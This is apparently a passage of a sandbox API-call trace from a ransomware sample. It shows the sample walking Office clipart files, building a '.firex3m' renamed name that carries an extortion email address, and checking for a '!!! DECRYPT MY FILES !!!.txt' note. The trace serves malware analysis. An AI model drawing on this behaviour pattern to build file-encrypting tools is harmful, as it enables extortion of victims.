lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.753] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.753] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.754] GetProcessHeap () returned 0x630000 [0135.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed3720, Size=0x200) returned 0x6ed3720 [0135.754] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0135.754] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 1 [0135.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf") returned 0x44 [0135.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.754] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.754] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.754] GetProcessHeap () returned 0x630000 [0135.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed3720, Size=0x204) returned 0x691808 [0135.754] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0135.755] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 1 [0135.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf") returned 0x44 [0135.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.755] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.755] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.755] GetProcessHeap () returned 0x630000 [0135.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x208) returned 0x691808 [0135.755] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0135.755] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 1 [0135.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf") returned 0x44 [0135.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.755] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.755] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.756] GetProcessHeap () returned 0x630000 [0135.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x20c) returned 0x686370 [0135.756] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0135.756] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 1 [0135.756] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf") returned 0x44 [0135.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.756] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.756] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.756] GetProcessHeap () returned 0x630000 [0135.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x210) returned 0x686370 [0135.756] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0135.757] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 1 [0135.757] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf") returned 0x44 [0135.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.757] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.757] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.757] GetProcessHeap () returned 0x630000 [0135.757] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x214) returned 0x686370 [0135.757] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0135.757] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 1 [0135.757] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf") returned 0x44 [0135.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.758] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.758] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.758] GetProcessHeap () returned 0x630000 [0135.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x218) returned 0x686370 [0135.758] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0135.759] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 1 [0135.759] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf") returned 0x44 [0135.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.759] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.759] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.759] GetProcessHeap () returned 0x630000 [0135.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x21c) returned 0x686370 [0135.759] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0135.760] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 1 [0135.760] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf") returned 0x44 [0135.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.760] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.760] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.760] GetProcessHeap () returned 0x630000 [0135.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x220) returned 0x686370 [0135.760] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0135.760] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 1 [0135.760] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf") returned 0x44 [0135.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.761] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.761] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.761] GetProcessHeap () returned 0x630000 [0135.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x224) returned 0x686370 [0135.761] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0135.761] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 1 [0135.761] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf") returned 0x44 [0135.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.761] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.761] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.761] GetProcessHeap () returned 0x630000 [0135.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x228) returned 0x686370 [0135.762] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0135.762] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 1 [0135.762] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid") returned 0x44 [0135.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.762] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.762] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.762] GetProcessHeap () returned 0x630000 [0135.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x22c) returned 0x686370 [0135.762] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0135.762] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", len=0x42 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 1 [0135.762] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", cchLength=0x42 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf") returned 0x42 [0135.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.763] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.763] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.763] GetProcessHeap () returned 0x630000 [0135.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x230) returned 0x686370 [0135.763] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, 